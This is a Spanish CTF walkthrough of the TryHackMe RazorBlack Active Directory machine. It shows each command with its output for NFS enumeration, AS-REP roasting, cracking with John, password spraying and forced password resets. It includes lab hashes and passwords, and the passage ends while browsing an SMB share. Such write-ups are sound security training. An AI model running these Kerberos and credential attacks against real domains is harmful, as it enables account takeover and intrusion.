Raz0rBlack

Dificultad: medium - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

El CTF RazorBlack de TryHackMe simula un entorno corporativo basado en Active Directory sobre sistemas Windows, lo que representa un escenario ideal para poner en práctica técnicas comunes de pentesting orientadas a infraestructuras empresariales. Desde el inicio, el análisis de servicios accesibles en la máquina revela vectores clásicos como NFS y SMB, lo que permite la enumeración de archivos y usuarios. Este entorno inicial permite acceder a información clave, como listas de empleados y posibles credenciales, que posteriormente son aprovechadas en ataques específicos del protocolo Kerberos.

A medida que se avanza, el uso de técnicas como AS-REP Roasting y Kerberoasting se vuelve central para obtener y descifrar hashes sin necesidad de interacción directa con contraseñas en texto claro. Estas técnicas permiten la escalada progresiva a través de diferentes cuentas de usuario, accediendo a archivos compartidos y documentos internos que contienen configuraciones sensibles o credenciales almacenadas de forma insegura.

Finalmente, la escalada de privilegios se logra mediante el aprovechamiento de permisos mal configurados, como el pertenecer al grupo de Backup Operators, que permite extraer información de registros críticos del sistema. A través de herramientas de post-explotación como impacket-secretsdump, se extraen hashes del sistema para acceder como administrador.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nmap -sCV --open -T4 -v -n 10.10.18.112
📌 Parámetros
  • sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-28 05:46:28Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm
| Issuer: commonName=HAVEN-DC.raz0rblack.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-05-27T05:29:02
| Not valid after:  2025-11-26T05:29:02
| MD5:   2b8a:decd:33bd:ac25:58ca:5216:729f:88b5
|_SHA-1: b1ee:9be1:83b6:a528:d0c7:6990:45ea:8875:0ac8:0328
|_ssl-date: 2025-05-28T05:47:29+00:00; -9m06s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RAZ0RBLACK
|   NetBIOS_Domain_Name: RAZ0RBLACK
|   NetBIOS_Computer_Name: HAVEN-DC
|   DNS_Domain_Name: raz0rblack.thm
|   DNS_Computer_Name: HAVEN-DC.raz0rblack.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2025-05-28T05:47:20+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-28T05:47:24
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -9m06s, deviation: 0s, median: -9m06s

En síntesis:

| Puerto  | Servicio       | Protocolo |
|---------|----------------|-----------|
| 53/tcp  | domain         | TCP       |
| 88/tcp  | kerberos-sec   | TCP       |
| 111/tcp | rpcbind        | TCP       |
| 135/tcp | msrpc          | TCP       |
| 139/tcp | netbios-ssn    | TCP       |
| 389/tcp | ldap           | TCP       |
| 445/tcp | microsoft-ds   | TCP       |
| 464/tcp | kpasswd5       | TCP       |
| 593/tcp | ncacn_http     | TCP       |
| 636/tcp | tcpwrapped     | TCP       |
| 2049/tcp| nlockmgr       | TCP       |
| 3268/tcp| ldap           | TCP       |
| 3269/tcp| tcpwrapped     | TCP       |
| 3389/tcp| ms-wbt-server  | TCP       |
| 5985/tcp| http           | TCP       |

Ya viendo estos puertos podemos deducir lo siguiente: la presencia de servicios como Kerberos (88/tcp), LDAP (389 y 3268/tcp), y SMB (445/tcp) confirman que se trata de un entorno de Active Directory, lo que habilita vectores de ataque como AS-REP Roasting, Kerberoasting, y enumeración de usuarios a través de LDAP. Luego el puerto 2049/tcp (NFS) es particularmente relevante, ya que nos permite montar recursos remotos y extraer archivos accesibles que pueden contener información sensible, como credenciales o listas de usuarios. Network File System (NFS), es un protocolo de red que permite a los usuarios montar sistemas de archivos remotos y trabajar con ellos como si estuvieran en su propia máquina local. Otros elementos que nos arroja nmap en este escáner son:

  • La diferencia horaria del servidor kerberos con mi equipo Kali: esto es importante en contextos de Kerberos, ya que este protocolo es muy sensible a la sincronización horaria. Una diferencia mayor a 5 minutos por defecto puede causar que el cliente no pueda autenticarse correctamente, afectando herramientas como Kerbrute o impacket cuando se realizan ataques como AS-REP Roasting o Kerberoasting.

  • Nmap también detectó información útil de dominio a través de servicios como LDAP y RDP (rdp-ntlm-info y certificados SSL), incluyendo:

    • raz0rblack.thm (dominio principal)

    • HAVEN-DC.raz0rblack.thm (nombre FQDN del controlador de dominio)

    • HAVEN-DC (nombre del host NetBIOS)

    Para asegurar una correcta resolución DNS durante el CTF (especialmente para herramientas que dependen del nombre de dominio o de servicios Kerberos), es necesario mapear la IP de la máquina al dominio en el /etc/hosts del equipo Kali

Para solucionar estos inconvenientes vamos a usar los siguientes comandos:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# echo "10.10.18.112    HAVEN-DC.raz0rblack.thm raz0rblack.thm" >> /etc/hosts 
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ntpdate 10.10.18.112
2025-05-28 12:56:39.576279 (-0400) -546.051960 +/- 0.120645 10.10.18.112 s1 no-leap
CLOCK: time stepped by -546.051960

Enumeración NFS (Puerto 2049)

El procedimiento para ver los recursos compartidos a través del protocolo NFS y montarlo luego en nuestro equipo es el siguiente:

  • Listamos los recursos compartidos remotos que están disponibles en NFS.

  • Creamos una carpeta local donde montaremos el recurso

  • Montamos el recurso compartido en la carpeta local

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# showmount -e 10.10.18.112  
Export list for 10.10.18.112:
/users (everyone)

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# mkdir NFS 

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# mount -t nfs 10.10.18.112:/users ./NFS 

Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.
mount.nfs: mounting 10.10.18.112:/usuarios failed, reason given by server: No such file or directory

┌──(root㉿kali)-[/home/…/Documents/THM/RAZORBLACK/NFS]
└─# ls
employee_status.xlsx  sbradley.txt
  • showmount -e 10.10.18.112 → consulta al servidor NFS (en este caso 10.10.18.112) y muestra los directorios que están siendo exportados (compartidos) a través del servicio NFS. El parámetro -e en el comando showmount significa "exports", y su función es mostrar los directorios que el servidor NFS está exportando (compartiendo).

  • mount -t nfs 10.10.18.112:/users ./NFSmonta el recurso compartido /users del servidor NFS en el directorio local ./NFS.

Dentro de este recurso vamos a encontrar dos archivos, en sbradley.txt esta la primera flag y en employee_status.xlsx vamos a encontrar lo siguiente:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# xlsx2csv employee_status.xlsx 
HAVEN SECRET HACKER's CLUB,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
Name's,,,Role,,,,,,,,
daven port,,,CTF PLAYER,,,,,,,,
imogen royce,,,CTF PLAYER,,,,,,,,
tamara vidal,,,CTF PLAYER,,,,,,,,
arthur edwards,,,CTF PLAYER,,,,,,,,
carl ingram,,,CTF PLAYER (INACTIVE),,,,,,,,
nolan cassidy,,,CTF PLAYER,,,,,,,,
reza zaydan,,,CTF PLAYER,,,,,,,,
ljudmila vetrova,,,"CTF PLAYER, DEVELOPER,ACTIVE DIRECTORY ADMIN",,,,,,,,
rico delgado,,,WEB SPECIALIST,,,,,,,,
tyson williams,,,REVERSE ENGINEERING,,,,,,,,
steven bradley,,,STEGO SPECIALIST,,,,,,,,
chamber lin,,,CTF PLAYER(INACTIVE),,,,,,,,

Se trata de un archivo de tipo Excel, específicamente en el formato Office Open XML Spreadsheet que contiene nombres de usuarios del dominio.

📌¿Qué relevancia tienen este tipo de archivos para una auditoría de seguridad?

En una auditoría de seguridad o ejercicio de pentesting, los archivos .xlsx pueden representar una fuente crítica de información sensible debido a su uso común en entornos corporativos para organizar datos internos. Estos documentos suelen incluir listas de empleados, roles, correos electrónicos, nombres de usuario, credenciales débiles, rutas de red o descripciones de recursos compartidos. Su estructura tabular facilita la acumulación de datos que, si no están adecuadamente protegidos, pueden ser utilizados por un atacante para preparar ataques de ingeniería social, suplantación de identidad, o acceso inicial al sistema mediante técnicas como brute-force o AS-REP Roasting.

Además, los metadatos embebidos en archivos .xlsx pueden revelar detalles valiosos como el nombre del creador del documento, el software utilizado, la organización o usuarios internos del sistema. Esta información puede ser correlacionada con otros vectores de ataque, especialmente en entornos Active Directory, donde conocer nombres reales y estructuras de nomenclatura de usuario permite una enumeración más efectiva. En resumen, estos archivos no solo contienen datos útiles directamente, sino que también sirven como puntos de partida para mapear el contexto organizacional de un objetivo y optimizar la fase de reconocimiento y explotación.

Para extraer los metadatos en busca de información sensible y parsear los usuarios de cualquier archivo .xlsx a un formato de usuarios de AD diseñe el siguiente script en python xlsx_extract.py que nos va a ayudar a obtener un diccionario para la siguiente etapa

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# python3 xlsx_extract.py employee_status.xlsx

📄 Extrayendo metadatos desde: employee_status.xlsx
------------------------------------------------------------
Autor                         : root
Última modificación por       : root
Fecha de creación             : 2021-02-24T03:15:00Z
Fecha de modificación         : 2021-02-23T22:07:15Z

🔍 Buscando palabras clave y posibles usernames:

📌 Coincidencias encontradas:
[Sheet1] A1: HAVEN SECRET HACKER's CLUB
[Sheet1] D13: CTF PLAYER, DEVELOPER,ACTIVE DIRECTORY ADMIN

✅ 16 posibles usuarios extraídos:
 - aedwards
 - cingram
 - clin
 - cplayer
 - dport
 - iroyce
 - lvetrova
 - ncassidy
 - rdelgado
 - rengineering
 - rzaydan
 - sbradley
 - sspecialist
 - tvidal
 - twilliams
 - wspecialist

📁 Archivo 'users.txt' generado con posibles usernames.

AS-REP Roasting attack

As-Rep roasting es una técnica dirigida contra usuarios de Active Directory que no requieren pre autenticación Kerberos. Esta debilidad permite extraer un ticket cifrado directamente del Domain Controller, para luego intentar crackearlo offline y obtener la contraseña de x usuario. Si no conoces esta técnica te recomiendo que leas los siguientes artículos de este blog Attacking Kerberos y Attacktive Directory.

Para realizar el ataque podemos usar impacket-GetNPUsers o Kerbrute y guardar la salida en un fichero para luego crackearlo con John the Ripper

Opción 1: impacket-GetNPUsers.

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-GetNPUsers raz0rblack.thm/ -usersfile users.txt -no-pass -dc-ip 10.10.18.112

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:3d74e55637fbfd8dd57832ee73b6a32b$17f039c211056cff8c178fefc17e1db85851184c71
e6932de8c9856d613fc6a8117a5876edd517fa53a20517b6e549d2317520cef990307316fcf0a3281c9ecf7a6d9e0de2b57ce369bc8f24f7aa
a1bc13deead58f71e571df6645481524a98f68528f1c3c118b10f2ee674a31c4ff633c9374ea7d1cb3035ee85944577acb329a306840cf1c3a
a6f2576b7a3605feabbe58f79380234ee344f8b6b74abae840811228bc0316162622f0b956c97e9dcd2b96b7b83fab828ca1cb616f248a9645
069fa9121c4f93c1f49c000c431f539a66c1517fc3f76e948d10134d76a9581a6681f8944803e5393d991a85f7ee7778
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

Opción 2: Kerbrute.

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# kerbrute userenum --domain raz0rblack.thm --dc 10.10.18.112 users.txt --downgrade --hash-file as-rep_hash --output hashes.txt
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/29/25 - Ronnie Flathers @ropnop

2025/05/29 18:54:05 >  Saving any captured hashes to as-rep_hash
2025/05/29 18:54:05 >  Using downgraded encryption: arcfour-hmac-md5
2025/05/29 18:54:05 >  Using KDC(s):
2025/05/29 18:54:05 >   10.10.18.112:88

2025/05/29 18:54:05 >  [+] VALID USERNAME:       lvetrova@raz0rblack.thm
2025/05/29 18:54:05 >  [+] VALID USERNAME:       sbradley@raz0rblack.thm
2025/05/29 18:54:05 >  [+] twilliams has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:842d88488b0c3285809727f137cec4d6$1e31c93cd5c85ddf0dfd91e9e24f07bdf2a0e219e9
5de2b430f3e56c2b259c80305a4171276c79e176795e170ba7faa7675587f3f6d34bf715895319baa0891d4dbe5f86e05c589b45840d5ab1f4
cf4ed5f48af01d09ed1a7b82101ad426402e435bf645fc6618ba1c7823478626b28ab6a059230316a65164df9ce38ec5e474c6cf282483d7de
eae6507ee6ff337afac75382c3730a272f8d7a6e99f7b51784bb5df79785d57fd785559f58db0cf07c4adfa322a003b52960aa7dcdf7c3442a
114a621f6a5f25861609a9b85e4d950e2c50396ae28b6f791f365196fa0f58bba6ccc47fb130ba1f534a752fd33c15f0      
2025/05/29 18:54:05 >  [+] VALID USERNAME:       twilliams@raz0rblack.thm
2025/05/29 18:54:05 >  Done! Tested 16 usernames (3 valid) in 0.445 seconds

TGT cracking con John

Una vez que obtenemos el hash del usuario podemos descifrar su contraseña con John the Ripper:

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# john -w=/usr/share/wordlists/rockyou.txt as-rep_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
roastpotatoes    ($krb5asrep$23$twilliams@RAZ0RBLACK.THM)     
1g 0:00:00:05 DONE (2025-05-29 18:56) 0.1949g/s 822992p/s 822992c/s 822992C/s rob3560..roastedfish
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Nota: en un ataque AS-REP Roasting no se craquea el TGT completo. Lo que se craquea es una parte del mensaje AS-REP (respuesta del Domain Controller) que contiene un bloque cifrado con la clave derivada de la contraseña del usuario. Si tenes dudas sobre el funcionamiento de este servicio te recomiendo que leas el siguiente artículo:

Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear contra que servicios nos permite ingresar, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: service_validation

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ./service_validation.sh raz0rblack.thm twilliams 'roastpotatoes'

[*] Probando credenciales contra raz0rblack.thm con usuario 'twilliams'...

--- Probando smb ---
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB         10.10.18.112    445    HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes

--- Probando ldap ---
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
LDAP        10.10.18.112    389    HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes

--- Probando winrm ---
WINRM       10.10.18.112    5985   HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
WINRM       10.10.18.112    5985   HAVEN-DC         [-] raz0rblack.thm\twilliams:roastpotatoes

--- Probando rdp ---
RDP         10.10.18.112    3389   HAVEN-DC         [*] Windows 10 or Windows Server 2016 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (nla:True)
RDP         10.10.18.112    3389   HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.18.112    135    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
RPC         10.10.18.112    135    HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes

--- Probando ftp ---

--- Probando ssh ---

Enumeración de recursos smb

Esta vez usaremos la tool nxc para ver si tenemos permisos de escritura o lectura en el contenido de la unidad compartida con las credenciales twilliams:roastpotatoes

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nxc smb 10.10.18.112 -u 'twilliams' -p 'roastpotatoes' --shares
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB         10.10.18.112    445    HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes
SMB         10.10.18.112    445    HAVEN-DC         [*] Enumerated shares
SMB         10.10.18.112    445    HAVEN-DC         Share           Permissions     Remark
SMB         10.10.18.112    445    HAVEN-DC         -----           -----------     ------
SMB         10.10.18.112    445    HAVEN-DC         ADMIN$                          Remote Admin
SMB         10.10.18.112    445    HAVEN-DC         C$                              Default share
SMB         10.10.18.112    445    HAVEN-DC         IPC$            READ            Remote IPC
SMB         10.10.18.112    445    HAVEN-DC         NETLOGON        READ            Logon server share
SMB         10.10.18.112    445    HAVEN-DC         SYSVOL          READ            Logon server share
SMB         10.10.18.112    445    HAVEN-DC         trash                           Files Pending for deletion

Enumeración de usuarios del dominio con impacket-lookupsid

Los resultados de la enumeración del smb nos muestran que tenemos permisos de lectura sobre el recurso IPC$, este recurso es clave porque nos permite enumerar más objetos del dominio con herramientas como impacket-lookupsid

¿Qué es IPC$?

  • IPC$ (Inter-Process Communication share) es una carpeta especial que permite conexiones remotas a funciones administrativas, como autenticación, sesión de servicios, etc.

  • No contiene archivos visibles, pero sí podemos conectarnos a IPC$, significa que el usuario tiene algún tipo de privilegio en el dominio, como para usar llamadas RPC.

  • Aunque no tengamos acceso a otras carpetas de archivos (users, shared, etc.), acceder a IPC$ ya es suficiente para enumerar información sensible, como usuarios y grupos, usando RPC.

Ahora vamos a usar un script que diseñe en bash que implementa la enumeración de usuarios con lookupsid pero también parcea el output y nos deja una lista con los nombres de los usuarios en limpio para un posterior ataque. El script lo podes descargar desde el siguiente repositorio: lookupsid_enum.sh

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ./lookupsid_enum.sh 10.10.18.112 twilliams roastpotatoes raz0rblack.thm

[*] Ejecutando impacket-lookupsid contra 10.10.18.112 con raz0rblack.thm/twilliams...
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos:
Administrator
Guest
HAVEN-DC$
krbtgt
lvetrova
sbradley
twilliams
xyan1d3
[+] Archivo generado: users_enum.txt

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# cat users_enum.txt 
Administrator
Guest
HAVEN-DC$
krbtgt
lvetrova
sbradley
twilliams
xyan1d3

Password spray con Kerbrute

Ahora que contamos con otra lista de usuarios vamos a intentar buscar otros usuarios que usen la misma contraseña que twilliams a través del ataque password spraying que consiste en probar una sola contraseña común contra múltiples usuarios.

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# kerbrute passwordspray --domain raz0rblack.thm --dc 10.10.18.112 users_enum.txt 'roastpotatoes'

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/29/25 - Ronnie Flathers @ropnop

2025/05/29 19:34:55 >  Using KDC(s):
2025/05/29 19:34:55 >   10.10.18.112:88

2025/05/29 19:34:55 >  [+] VALID LOGIN WITH ERROR:       sbradley@raz0rblack.thm:roastpotatoes        (User's password has expired)                                                       
2025/05/29 19:34:56 >  [+] VALID LOGIN:  twilliams@raz0rblack.thm:roastpotatoes
2025/05/29 19:34:56 >  Done! Tested 16 logins (2 successes) in 1.144 seconds

Password Reset via SMB con impacket-smbpasswd

Kerbrute encontró un usuario cuya contraseña era la misma que la del usuario twilliams pero que además está ya expiró confirmándolo con el siguiente mensaje: "User's password has expired"

Este mensaje indica que:

  1. El usuario existe y las credenciales son correctas.

  2. El login no falla por contraseña inválida, sino por una política de expiración de contraseñas.

  3. AD está rechazando la autenticación porque la contraseña es válida pero antigua, y se requiere que el usuario la cambie.

Cuando un usuario tiene la contraseña expirada, Active Directory espera que el usuario la reemplace al iniciar sesión. Esto significa que:

  • El protocolo SMB (vía SAMR) permite realizar un PasswordChangeUserPassword sin necesidad de la contraseña actual.

  • La autenticación inicial no requiere éxito total, solo que la cuenta esté activa y que el cambio esté permitido por política.

Sabiendo esto podemos usar impacket-smbpasswd o impacket-changepasswd para aplicar un cambio de contraseña al usuario sbradley y hacernos con su cuenta:

Opción 1: impacket-smbpasswd

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-smbpasswd sbradley@10.10.18.112
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Current SMB password: roastpotatoes
New SMB password: Password123
Retype new SMB password: Password123
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

impacket-smbpasswd sbradley:roastpotatoes@raz0rblack.thm -newpass Password123

Opción 2: impacket-changepasswd

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-changepasswd.py sbradley:roastpotatoes@raz0rblack.thm -newpass Password123
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of Builtin\sbradley
[*] Connecting to DCE/RPC as Builtin\sbradley
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

Con este nuevo par de credenciales sbradley:Password123 vamos a chequear nuevamente a que servicios nos permite acceder, usando el script service_validation.sh

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# ./service_validation.sh raz0rblack.thm sbradley 'Password123'

[*] Probando credenciales contra raz0rblack.thm con usuario 'sbradley'...

--- Probando smb ---
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB         10.10.18.112    445    HAVEN-DC         [+] raz0rblack.thm\sbradley:Password123 

--- Probando ldap ---
SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
LDAP        10.10.18.112    389    HAVEN-DC         [+] raz0rblack.thm\sbradley:Password123 

--- Probando winrm ---
WINRM       10.10.18.112    5985   HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)                                                      
WINRM       10.10.18.112    5985   HAVEN-DC         [-] raz0rblack.thm\sbradley:Password123

--- Probando rdp ---
RDP         10.10.18.112    3389   HAVEN-DC         [*] Windows 10 or Windows Server 2016 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (nla:True)
RDP         10.10.18.112    3389   HAVEN-DC         [+] raz0rblack.thm\sbradley:Password123 

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.18.112    135    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
RPC         10.10.18.112    135    HAVEN-DC         [+] raz0rblack.thm\sbradley:Password123 

--- Probando ftp ---

--- Probando ssh ---

Enumeración de recursos smb con nxc

Los resultados del script anterior nos indica que podemos acceder al smb, por ende vamos a listar esos recursos y verificar si tenemos algún permiso nuevo sobre alguno de los directorios usando nxc

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# nxc smb 10.10.18.112 -u 'sbradley' -p 'Password123' --shares

SMB         10.10.18.112    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:False)
SMB         10.10.18.112    445    HAVEN-DC         [+] raz0rblack.thm\sbradley:Password123 
SMB         10.10.18.112    445    HAVEN-DC         [*] Enumerated shares
SMB         10.10.18.112    445    HAVEN-DC         Share           Permissions     Remark
SMB         10.10.18.112    445    HAVEN-DC         -----           -----------     ------
SMB         10.10.18.112    445    HAVEN-DC         ADMIN$                          Remote Admin
SMB         10.10.18.112    445    HAVEN-DC         C$                              Default share
SMB         10.10.18.112    445    HAVEN-DC         IPC$            READ            Remote IPC
SMB         10.10.18.112    445    HAVEN-DC         NETLOGON        READ            Logon server share 
SMB         10.10.18.112    445    HAVEN-DC         SYSVOL          READ            Logon server share 
SMB         10.10.18.112    445    HAVEN-DC         trash           READ            Files Pending for deletion

Cómo tenemos acceso al directorio trash vamos a conectarnos con smbclient y buscar más recursos expuestos de valor

┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# smbclient \\\\raz0rblack.thm\\trash --user='sbradley%Password123' -m SMB2

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Mar 16 02:01:28 2021
  ..                                  D        0  Tue Mar 16 02:01:28 2021
  chat_log_20210222143423.txt         A     1340  Thu Feb 25 14:29:05 2021
  experiment_gone_wrong.zip           A 18927164  Tue Mar 16 02:02:20 2021
  sbradley.txt                        A       37  Sat Feb 27 14:24:21 2021

